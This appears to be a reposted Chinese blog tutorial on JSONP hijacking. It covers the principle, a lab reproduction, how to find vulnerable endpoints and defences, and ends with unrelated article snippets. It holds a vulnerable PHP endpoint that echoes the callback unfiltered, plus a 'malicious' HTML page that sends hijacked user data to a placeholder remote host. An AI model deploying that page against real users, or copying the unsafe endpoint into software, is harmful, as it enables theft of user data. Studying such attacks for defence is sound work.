浅谈CSRF跨域读取型漏洞之JSONP劫持

news2024/9/20 1:06:41

目录

前提知识

CSRF

JSONP

jsonp漏洞

原理

过程

复现

漏洞挖掘思路

漏洞防御


前提知识

CSRF

提起CSRF,可能很多人都会想到修改个人资料、授权登陆等攻击场景,可以发现这两个场景都是写入型的CSRF漏洞,通常会忽视更常见的读取型的CSRF漏洞,主流如下两种

  • JSONP跨域资源读取
  • CORS跨域资源读取

JSONP

JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
JSONP是一种利用HTML中<script></script>元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。请求动态生成的JS脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
存在的意义是绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。

jsonp漏洞

原理

通过JSONP技术可以实现数据的跨域访问,必然会产生安全问题,如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。

过程

1)用户在网站B注册并登录,网站B包含了用户的敏感信息;

2)用户通过浏览器向网站A发出URL请求;

3)网站A向用户返回响应页面,响应页面中注册了JavaScript的回调函数和向网站B请求的script标签,示例代码如下:

1

2

3

4

5

6

7

<script type="text/javascript">

function Callback(result)

{

    alert(result.name);

}

</script>

<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>

 4)用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求;

5)网站B接收到请求后,解析请求的URL,以JSON格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:

1

Callback({"id":1,"name":"test","email":"test@test.com"})。

 6)网站B数据返回后,浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理,通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。

复现

index.php(8084端口)

<?php
if(isset($_GET['callback']))
{
	$callback = $_GET['callback'];
	print $callback.'({"username" : "testadmin", "pasd" : "thisisadminpassword"});';
} else 
{
	echo 'No callback param.';
}
?>

jsonp.html(8999端口)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JSONP 跨域</title>
</head>
<body>
    <div id="here"></div>
    <script type="text/javascript">
    function callbackFunction(result, methodName)
    {
        var html = '<ul>';
        html += '<li>' + 'username: ' + result.username + '</li>';
        html += '<li>' + 'password: ' +result.password + '</li>';
        html += '</ul>';
        document.getElementById('here').innerHTML = html;
    }
    </script>
    <script type="text/javascript" src="http://127.0.0.1:8084/index.php?callback=callbackFunction"></script>
</body>
</html>

此时跨域成功拿到index.php的数据

  • 分析

通过上面演示中的场景来看JSONP劫持。B网站开放了一个JSONP接口,也就是上面演示中的http://jsonp.com/callback.php?callback=  ,此接口可以返回B网站用户的信息,id,email等。此时我们搭建一个恶意的A网站,写入类似于上面演示中的代码,只不过把打印数据换成了发送给黑客的远程服务器。这时候把A网站发送给用户诱导去点击,则可以获取用户的信息了。

恶意代码如下

<html>
<head>
<title>jsonp</title>
<meta charset="utf-8">
<script type="text/javascript">
function evail(json){
    a = JSON.stringify(json);
    url = "http://xxxx:1122?pass=" + a;
    var request = new XMLHttpRequest();
    request.open("GET",url);
    request.send(null);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=evail"></script>
</body>
</html>

漏洞挖掘思路

收集接口:找到返回数据格式是JSONP的接口(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)
加参数看返回信息:加上callback参数,观察返回值是否变化,是否返回jsonp格式的信息

漏洞防御

限制来源refer
在请求中添加 csrfToken 并在后端进行验证

过滤callback函数名以及JSON数据输出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/393759.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MP与IP-Trunk技术讲解

目录 PPP MP技术 将PPP链路直接绑定到VT上实现MP 按照PPP链路用户名查找VT实现MP IP-Trunk技术 PPP MP技术 MP&#xff08;MultiLink PPP&#xff09;将多个PPP链路捆绑使用的技术&#xff08;Serial接口、POS接口等&#xff09; 实现方式 可以采用虚拟VT接口实现MP PPP链路…

通过canvas画出爱心图案,表达你的爱意!

通过canvas画出爱心图案&#xff0c;浏览器可以使用以下js代码&#xff0c;新建对象时&#xff0c;会自动呈现动画效果&#xff0c;代码文末可下载。 点击免费下载源码 let HeartCanvas new HeartCanvas() /*** 爱心* Heart Canvas*/class HeartCanvas {/*** param hMin 颜…

怎么恢复本地磁盘里的数据?电脑本地磁盘数据恢复7种方案

演示机型&#xff1a;技嘉 H310M HD22.0系统版本&#xff1a;Windows 10 专业版软件版本&#xff1a;云骑士数据恢复软件3.21.0.17本地磁盘是什么意思&#xff1f;所谓的本地磁盘是指安装在电脑主板上&#xff0c;不能随便拔插的硬盘&#xff0c;通俗易懂的讲就是电脑内部安装的…

Spring Cloud融合gateway构建的API网关服务 | Spring Cloud 12

一、Spring Cloud Gateway 1.1 概述 所谓的网关就是指系统的统一入口&#xff0c;它封装了运用程序的内部结构&#xff0c;为客户端提供统一的服务&#xff0c;一些与业务功能无关的公共逻辑可以在这里实现&#xff0c;诸如认证、鉴权、监控、路由转发等。 Spring Cloud Gat…

北斗导航 | PPP-RTK:CLASLIB 0.7.2 版本中文手册(CLASLIB ver. 0.7.2 Manual)

===================================================== github:https://github.com/MichaelBeechan CSDN:https://blog.csdn.net/u011344545 ===================================================== CLASLIB ver. 0.7.2 Manual

Hevc变换系数扫描

量化后变换系数的熵编码在整个熵编码中占有举足轻重的地位&#xff0c;由于量化后变换系数大多为零值或者幅度较小的值&#xff0c;如何有效利用这一特性是熵编码的关键环节&#xff0c;H265/HEVC标准中&#xff0c;亮度数据和色度数据均以变换块TB为单位&#xff0c;通过编码非…

Compose 动画 (四) : AnimatedVisibility 各种入场和出场动画效果

AnimatedVisibility中的EnterTransition 和 ExitTransition &#xff0c;用来配置入场/出场时候的动画效果。 默认的入场效果是 fadeIn() expandVertically() 默认的出场效果是 fadeOut() shrinkVertically() 1. EnterTransition和ExitTransition支持的动画 enter的参数类…

【VUE】vue3.0后台常用模板

vue3.0后台常用模板&#xff1a; 1、vue-admin-perfect 在线预览 gitee国内访问地址&#xff1a;https://yuanzbz.gitee.io/vue-admin-perfect/#/home github site : https://zouzhibin.github.io/vue-admin-perfect/ 基础功能版本预览&#xff1a;https://yuanzbz.gitee.io/…

上海亚商投顾:沪指失守3300点 两市上涨股不足500只

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。市场情绪沪指今日冲高回落&#xff0c;午后跌幅扩大至1%&#xff0c;失守3300点关口&#xff0c;深成指、创业板指跌近2%。通…

Springboot 定时任务注入FeignClient

问题引入: 在springboot 项目写了个定时任务,里面有段代码通过Feign 调用远程服务,发现通过接口调用可以程序正常执行, 通过配置定时任务发现定时任务没执行,看日志是报了NP.问题跟踪: 写了个demo 重现以上错误:Api(tags "XXX控制器") RestController RequestMapp…

认识代码之前,请先认识你自己 |《编程人生》

这是我的湛庐课程《给技术人的职场突围课》 &#xff08;链接&#xff09; 的一部分。 这篇文章也是 IT 女神征文活动 的一部分。 《编程人生》是一本优秀程序员的采访集&#xff0c;里面记录了15位世界级编程大师的故事。 我在 发刊词 里面说过&#xff0c;在这个书单课里&am…

如何有效地降低软件开发风险?

1、科学分析风险 高风险自动预警 一般对风险进行科学分析&#xff0c;主要从3个维度进行划分&#xff1a;影响的严重性、发生的可能性、产生的影响性。 根据风险对项目的影响程度&#xff0c;从3个维度将其划分5个等级&#xff1a;很低、比较低、中等、比较高、很高。这样我们能…

react router零基础使用教程

安装既然学习 react router 就免不了运行 react安装 reactnpx create-react-app my-appcd my-appnpm start安装 react routernpm install react-router-dom如果一切正常&#xff0c;就让我们打开 index.js 文件。配置路由引入 react-router-dom 的 RouterProviderimport {Route…

JavaWeb--Filter

Filter1 Filter概述2 Filter快速入门2.1 开发步骤2.2 代码演示3 Filter执行流程4 Filter拦截路径配置5 过滤器链5.1 概述5.2 代码演示5.3 问题6 案例6.1 需求6.2 分析6.3 代码实现6.3.1 创建Filter6.3.2 编写逻辑代码6.3.3 测试并抛出问题6.3.4 问题分析及解决6.3.5 过滤器完整…

智慧供热|供热末端(住户)管网远程监测方案

智慧供热通过对供热相关数据的采集、分析和对热源、热网、末端&#xff08;住户&#xff09;的各个供热环节进行智能调控&#xff0c;从而进一步实现热网资源的配置优化&#xff0c;提高热网输送的能力。供热行业存在问题&#xff1a;供热企业目前面临的主要问题还是资金周转困…

MYSQL1

MySQL基本11、MySQL 中有哪几种锁&#xff1f;2、MySQL 中有哪些不同的表格&#xff1f;2、什么是存储引擎3、MySQL 中 InnoDB 支持的四种事务隔离级别名称&#xff0c;以及逐级之间的区别4、CHAR 和 VARCHAR 的区别1、固定长度 & 可变长度2、存储方式3、存储容量4、CHAR会…

cookie session Token终极理解

左边 浏览器 右边 服务器 浏览器发送请求 服务器接收请求 并生成cookie 浏览器查看保存了哪些cookie 用户名密码放在cookie是很不安全的 因为浏览器一旦被攻击泄露 是很危险的 接着诞生了session 会话 sessionID &#xff08;一段杂乱的字母标识&#xff09; 会话结束时间 …

【云原生】Istio请求路由、流量转发、超时配置等

代码继续接着前面的文章【云原生】整合K8s SpringCloudK8s gRpc RocketMQ Istio Envoy&#xff0c;本篇文章我们测试下请求路由功能。生产中我们上了个新接口或者新功能&#xff0c;一般会经过 内灰 -> 外灰5% -> 外灰10% ...... 外灰100%的过程&#xff0c;这篇文章…

计算机图形学08:中点BH算法绘制抛物线(100x = y^2)

作者&#xff1a;非妃是公主 专栏&#xff1a;《计算机图形学》 博客地址&#xff1a;https://blog.csdn.net/myf_666 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录专栏推荐专栏系列文章序一、算法原理二、…

springboot整合mybatis框架,简单实现CRUD

如果大家实在不知道怎么搞可以去看看官网:mybatis-plus官网MyBatis-Plus (opens new window)&#xff08;简称 MP&#xff09;是一个 MyBatis (opens new window)的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高效率而生。其实也就是在…